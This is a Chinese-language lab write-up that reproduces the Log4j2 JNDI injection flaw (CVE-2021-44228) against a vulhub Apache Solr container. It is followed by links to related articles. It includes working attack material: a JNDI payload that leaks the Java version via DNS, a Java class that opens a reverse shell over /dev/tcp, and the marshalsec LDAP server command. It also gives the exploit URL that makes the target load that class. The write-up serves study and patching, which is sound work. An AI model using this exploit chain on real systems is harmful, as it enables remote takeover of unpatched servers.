Apache Log4j2远程命令执行漏洞复现
Apache Log4j2 是一个基于Java的日志记录工具,被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2 远程代码执行漏洞编号 CVE-2021-44228。
漏洞原理
漏洞主要由于Log4j2在处理程序日志记录时存在 JNDI 入缺陷。JNDI是Java名称与目录接口,是一种查找其他组件、资源或服务的通用机制。利用这个缺陷,通过发送包含JNDI查找的恶意数据,触发Log4j2组件解析缺陷,实现远程代码执行。
Log4j2框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。在lookup的{}里面构造Payload,调用JNDI服务(LDAP、RMI等)获取恶意的class对象,造成了远程代码执行。
复现
影响版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
环境搭建:使用 vulhub 搭建
cd /vulhub/log4j/CVE-2021-44228
docker compose up -d
访问 8983 可查看到 Apache Solr 的后台页面:

向 action 参数值发送利用 JNDI 发送DNS请求的Payload:
${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}

dnslog 平台成功收到解析记录,Payload中的 ${sys:java:version} 被替换为了对应的java版本。

在JNDI接口lookup查询进行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc} JNDI就会去对应的服务如LDAP、RMI、DNS查找资源,上面这个Paylaod就为DNS查询。
首先需要的在本地编译一个class文件,目的是让靶机远程加载这个类,执行其中反弹shell的代码。
//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;
public class Shell {
static {
try {
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
class文件编译好以后,在class文件所在目录启用一个 python http 服务,让靶机可以访问到这个文件。
python3 -m http.server 2333 # 监听在2333端口
接着使用 marshalsec 这个项目来启动一个LADP服务,监听 1099 端口,并指定加载远程类文件:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099
利用JNDI注入调用LADP服务来远程加载这个Shell类,执行反弹shell的代码:
http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}

靶机回连到本地LADP服务,Python起的服务端收到请求返回Shell类,执行其中的反弹shell代码,kali监听1234收到反弹shell。

Log4j的利用方式和Fastjson很相似,通过JNDI注入,调用LDAP或RMI协议,远程加载恶意类造成反序列化命令执行。
漏洞修复
升级受影响的应用及组件,更新Log4j到新版本 log4j-2.15.0-rc2 及以上。
参考文章:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令执行.md
https://www.freebuf.com/vuls/382838.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ
Apache Log4j2远程命令执行漏洞复现的更多相关文章
- 【Vulfocus解题系列】手把手教你使用Vulfocus公开靶场对Apache Log4j2远程命令执行漏洞复现
前言 关于这个漏洞,啥都不用说了,直接发车. 工具下载 JNDIExploit:https://github.com/0x727/JNDIExploit 复现过程 启动靶场环境 直接用vulfocus ...
- Apache SSI 远程命令执行漏洞复现
Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Apache SSI远程命令执行漏洞复现
漏洞原理:当目标服务器开启了SSI与CGI支持,就可以上传shtml文件,并利用语法执行任意命令,例如<!- - #exec cmd="ls"- ->,cmd后面跟要执 ...
- CVE-2019-0193:Apache Solr 远程命令执行漏洞复现
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...
- CVE-2021-25646:Apache Druid远程命令执行漏洞复现
漏洞概述 Apache Druid 是一个分布式的数据处理系统.Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码.在Druid 0.20.0及更低版本中, ...
- [CVE-2020-1956] Apache Kylin远程命令执行漏洞复现
Apache Kylin是一个开源的.分布式的分析型数据仓库,提供Hadoop/Spark之上的 SQL 查询接口及多维分析(OLAP)能力以支持超大规模数据,最初由 eBay 开发并贡献至开源社区. ...
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...
随机推荐
- Windows 11 上搭建 Linux 桌面系统
为什么做这个事呢?首先dev 环境方面肯定Linux是主流,然后因为后面要跑CV应用,肯定还是要看看效果啥的,最好有个桌面系统. 1. 首先在windows 里安装 WSL, 要用 wsl2 版本 2 ...
- Delta Lake 学习
解决了什么问题 delta lake 是有 ACID 支持,有time travel... 对数据可以验证,不再需要 λ 架构 对事务的ACID支持,解决了spark job 可能会中间excepti ...
- 如何保证 Redis 的高并发和高可用?讨论redis的单点,高可用,集群
如何保证 Redis 的高并发和高可用?讨论redis的单点,高可用,集群. 打开GitHub搜索redis,边可以看到,该项目的介绍是这样的: Redis is an in-memory datab ...
- Python 潮流周刊#69:是时候停止使用 Python 3.8了(摘要)
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...
- LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践
1.背景 本qiang~这两周关注到一个很火的开源文档问答系统Kotaemon,从8月28日至今短短两周时间,github星标迅猛增长10K,因此计划深挖一下其中的原理及奥秘. 本篇主要是Kotaem ...
- 主要将子文件下大量图片进行路径编号,并保存到csv文件当中。方便直接从文件读取图片路径以及其他图片信息
# coding: utf-8 #主要将子文件下大量图片进行路径编号,并保存到csv文件当中.方便直接从文件读取图片路径以及其他图片信息. #我做的是图像分割,所以存在三类分割区域:["la ...
- .NET高级调试 - 3.7对象检查
简介 在大多数调试会话中,首先需要检查的项目就是分析应用程序的状态.在确认程序的问题是某种无效状态造成的,我们便需要分析程序是如何变成无效状态的.那么在分析过程中,需要为我们深入了解对象的各种审查方法 ...
- 自定义log4j2的PatternLayout参数
1.添加类 package com.yuanian.micro.config; import org.apache.logging.log4j.core.LogEvent; import org.ap ...
- for循环、break和continue、二重循环
循环语句 循环语句可以反复多次执行同一组语句,for关键字可以用来编写循环:可以在for循环里让一个变量依次代表一组数字,然后使用同一组语句处理这个变量代表的每个数字.这个变量叫做循环变量,按照统一的 ...
- 基于乐鑫 ESP32-C3 的 Matter Light 实践
背景介绍 最近公司在研究 Matter 协议在智能家居领域的市场机会,考虑到易用性和文档支撑等方面,相比较 Telink,产品部门对乐鑫的 Matter-SDK 更感兴趣,因而开展了一些测试工作,毕竟 ...